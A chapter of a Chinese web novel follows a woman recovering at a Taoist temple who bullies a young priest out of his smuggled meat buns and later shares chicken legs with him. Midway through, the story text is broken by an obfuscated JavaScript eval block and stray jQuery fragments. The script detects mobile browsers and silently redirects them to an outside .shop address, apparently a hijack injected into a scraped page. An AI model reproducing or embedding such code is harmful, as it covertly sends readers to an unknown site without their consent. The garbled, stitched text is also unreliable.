她觉得自己举错了例,不该拿陈仙姑说事,他们是师兄弟,相处多年,彼此照顾不是应该的吗?
这么一想也就不气了,三下两下就把自己哄好了。
笨道士,便宜他了!
*
翌日,斐然依旧窝在屋里休息。这日也是道观开门的香火日,冷寂的道观迎来了人气,也迎来了好天气。
天空放大晴,瓦蓝瓦蓝,雾气倒未散尽,还贴着山腰缓缓游移,整座道观便从云里浮起。
一早,张惟龄来看她,并捎来丰盛早饭,嘱咐她吃一半留一半,说是今日香客多,观里忙得很,等吃上午饭不知要几时,让她先勉强应付一下。
算这臭小子有良心。
说丰盛吧,其实也就一碗菜粥、两个菜包外加一个蒸番薯。斐然就着粥吃了俩菜包,番薯则留到晌午。
何曾过过这样清苦的日子,为了那个笨道士,她容易吗她?
吃罢,斐然躺在床上,听外头远远近近的人声。
脚步杂沓,大人的谈笑声,小孩的追闹声,听着听着,忍不住又阖眼眯上一会儿。
再睁开时,日头已攀过屋脊,高悬中天,明晃晃的阳光将窗纸映得发白,满室通亮。
睡太多,人就发蔫,她懒懒地翻个身,正纠结是否要出去走一走,却不想有人敲门,很轻的两声叩响。
“咚、咚。”
“善信,是我。”
哦,是那笨道士来了。
像是在等她应答,门外一时安静。斐然便也故意慢吞吞地不作声。
过了半晌,终于——
“贫道可以进来吗?”
她这才从床上坐起,清清嗓,压着笑意应道:“进来吧。”
“嘎——”一声长响,门被推开,日光跟着他的身影一并涌入。
李惟道端着木托盘走进来。
斐然舒服地倚在床头,问:“道长今日不值殿?”
“给善信送完饭便去。”他一面说,一面放下托盘,将两个碗摆上案。
斐然探头瞧一眼,是一碗清汤面和一碗炒蒲瓜。
李惟道摆齐碗筷,收了托盘,朝她微一颔首:“善信慢用。”
言简意赅,转身就走。又是“嘎”的一声,门轻轻合拢。
斐然立马掀开被子,趿拉着鞋坐到案前,执筷先夹一箸蒲瓜送入口中。
瓜是后山种的,新鲜得不得了,嚼一嚼更是爽甜。
窗外阳光正好,吃了蒲瓜,再哧溜一口面条下肚,暖意一路蔓延。
唉,这个笨道士,就原谅他吧。
*
用过饭,斐然再躺不住了,必须出门溜达溜达。
行出客舍,沿廊下慢慢踱至纯阳殿外,远远望一眼,见李惟道坐于案后,正被三五香客围着问签解卦,一时半会脱不开身。她在门首略站了站,没有进去,转而一拐,往后院闲逛。
刚绕过一面墙,却见张惟龄蹲在墙角,跟前搁着一只笼屉,白蒙蒙的热气一缕一缕地往上冒。
他兴奋地直搓筷子,刚夹起一个——
“好啊你!”
张惟龄被这突如其来的声响惊得手抖,筷子险些掉地,抬头见是她,脸色更是几度变化。
“你在吃——”
话音未落,他腾身而起。
“你干嘛啊!唔——”
斐然的嘴被死死捂住。张惟龄连拖带拽地将她往墙角阴影处拉。
“嘘!嘘!”
一把扯开他的手,斐然大声道:“你在吃肉!”
张惟龄慌忙弯腰端起笼屉往身后藏,说话都结巴:“这这这是菜包!”
“菜包?你当我瞎的?这是灌汤肉包!”
“嘘!嘘!”
“嘘什么嘘,”她伸出手,掌心朝上,“给我。”
张惟龄满心不情愿,磨磨蹭蹭地不肯递。
斐然不由分说,先劈手夺来筷子,随后又将他藏在身后的笼屉使劲掰出来。
但见那屉里卧着八九个灌汤包,褶皱细密,薄如纸的皮子隐约透出汤色,沉甸甸地坠着,定是一戳就哗啦啦流汤,那个诱人。
她不由食指大动,立刻吩咐:“去,给我拿醋来。”
张惟龄站着不动,试图用沉默抵抗。
“愣着作甚,还不快去!”
“善信……”
略带威胁地瞥他一眼。
张惟龄与她对峙三息,败下阵来,只得窝窝囊囊地去了。过不多时,怀里揣一瓶醋,手里拿一小碟子,他偷偷摸摸,他左顾右盼,他终于贴着墙根溜了回来。
两人蹲在墙角。
斐然迫不及待地倒好醋,也学他样,搓一搓筷子,随即伸手,果断夹住一个灌汤包,往那醋碟里左蘸右蘸,右蘸左蘸,裹满陈醋后方才捞起。
一整个塞嘴里,肉的鲜美混着醋的酸香在舌尖爆炸,人间至味,也不过如此。
于是又一个,再一个……
张惟龄眼巴巴瞧着,止不住地咽口水:“善信,我还在长身体,你多少给我留一点。”
斐然吃下第五个,含糊不清地道:“亏我今早还觉得你有良心,你就是这么对我的?给我俩菜包,自己躲着吃灌汤包,你好意思?”
张惟龄眼看她一口一个,心里实在着急。
斐然又往那小碟里添醋,说道:“以后有肉吃都要想着我,知道了没?”
“为什么啊!”
“什么为什么,我大病初愈,我不需要补身子吗?”
“这中气十足的嗓子,何止初愈,已是大愈了!”
“闭嘴!”
“你好凶啊!”
“没大没小,叫姐姐。”
“论入观早晚,你高低得喊我一声师兄。”
斐然扬手,一个巴掌作势拍下。
张惟龄当即扯开喉咙,惊天一唤:“姐——姐——”
那巴掌堪堪停在他脑门前一寸处,掌风拂得刘海一飞。
斐然慢悠悠收回手,如意道:“这还差不多。”
吃着他的肉,还要他叫姐。张惟龄愤愤。
“我说姐姐,你好歹给我留一个啊!”
斐然把筷子调个头塞他手里,笼屉也一并还给他。
真的只留了一个……张惟龄欲哭无泪。
盯着最后的灌汤包,他小心翼翼地夹起,生怕漏出一滴肉汤,无比珍重地送入口中。
热汤汩汩而出,满口鲜香。
呜呜呜,真好吃啊!但是只有一个……侧首觑一眼,这人还在打饱嗝,他好恨恨!
潇洒子是修行之人,不能生气,不能生气,要平静,平——静——
话又说回来,她也不容易,年纪轻轻就守寡,算了算了,不与她计较。可是,怎么可以只给他留一个啊!
斐然吃得很满足,问他:“你这灌汤包哪儿来的?老实交代。”
张惟龄意犹未尽地嘬着筷头,把残汤都吮净,方闷声答道:“每个月我娘都会借拜祖师爷的由头,给我送吃的。”
斐然在脑中“嗯?”了一声,还能这样?
*
却说五日后,又是山门大开之日。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679327|206360||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
卯时初刻,大批香客尚未上山,难得片刻清闲,张惟龄便抄起小铲子,弯腰去清理香炉残灰。
拨弄间,忽听得背后有人问:“小道长,我想请问下,你们观里旁的道士呢?”
张惟龄闻言回首。
只见一位妇人立在晨光里,头上包着一方灰扑扑的布巾,佝偻着背,乍一看老态龙钟,可再仔细一瞧,那张脸又不像真的老,皮肤虽暗沉,却不见什么皱纹。
念微被盯得心里直犯怂,赶紧假装咳嗽:“咳咳咳!”
她不咳还好,这一咳,张惟龄的视线便不由自主地往下落,恰见她手里那只盖了布的香篮,正呼呼地往外冒白气。
念微顺着他的目光低头一看,连忙伸手臂过去遮住。
“大娘!”远处急急一声呼唤。
张惟龄循声扭头,只见斐然拔足奔来,跑得那叫一个快,到得近前,扶住膝头不住喘气。
“大、大娘可是要去吕祖殿求签?来来,我带你过去。”
念微忙不迭点头:“对对对,我就是要去吕祖殿。”
语罢,两人并肩往前走,脚下如疾风,一眨眼就飞过廊角。
张惟龄站在原地,总觉得哪里怪怪的,却又说不上来。他挠挠头,正想转身继续干活,不料斐然突然折返,一阵风似的卷到他面前,一把攥住他。
“走!你也来。”
“欸——干嘛?去哪儿啊?”
熟悉的后院,熟悉的墙角,日光被墙面切出一道分明的阴影,将三人拢住。
念微把香篮上的布一揭——
“哇——”张惟龄的嘴巴登时张成一个圆洞,掷地有声道,“大!鸡!腿!”
但见眼前是一盘酱色油亮的红烧鸡腿,热气卷着肉香直往人脸上扑。他两眼放光,又“哇哇”两声,伸手就去捞。
“啪!”一声脆响。
斐然眼疾手快,一巴掌拍开他的手:“你洗手了吗?用筷子!”
张惟龄缩回手,揉着被拍红的手背,弱弱地嘟囔:“吃鸡腿用筷子不得劲的呀。”
斐然拿眼睨他。
没办法,他只得乖乖举起筷子。
那鸡腿皮滑肉嫩,一咬下去,汁水在齿间迸开,酱香与肉香浑然一体,顺着喉咙滑下,空落落的胃里塞进一团暖融融的云,教人忍不住地喟叹,还得是大鸡腿!
张惟龄心里暗暗感慨,若能手抓,那才叫痛快。可俗话又说了,吃人嘴软,拿人手短,只能暂且将就啦。
欸等等——
不对啊,那上一回她吃他的灌汤包,怎么就能这么理直气壮呢!真气人。
转眼间,盘中鸡腿见底。
斐然夹起最后一个,举到他面前:“叫姐姐。”
张惟龄没有丝毫犹豫,狗腿地唤起来:“姐——姐——”
“乖,”斐然满意,将鸡腿递过去,“拿去吃吧。”
张惟龄赶忙伸筷接来,又乖觉地补一句:“谢谢姐——姐——”
斐然朝念微抬一下眉毛,得意道:“瞧见没?”
念微:“……”
墙后头,李惟道已站得一会儿,望之也不自觉地笑了,侧身正要离开,却见师父从前院转出,往此处走来。
他迎上前去,不动声色地挡住视线,道:“师父,有位信士寻您,说是想请一道护身符,弟子已请她在茶寮稍候。”
太初山人听了,果然停住脚步,点头道:“好,为师这就过去。”
李惟道目送师父的背影转过廊角,又回头望一眼那面墙,笑着收回目光,举步跟上。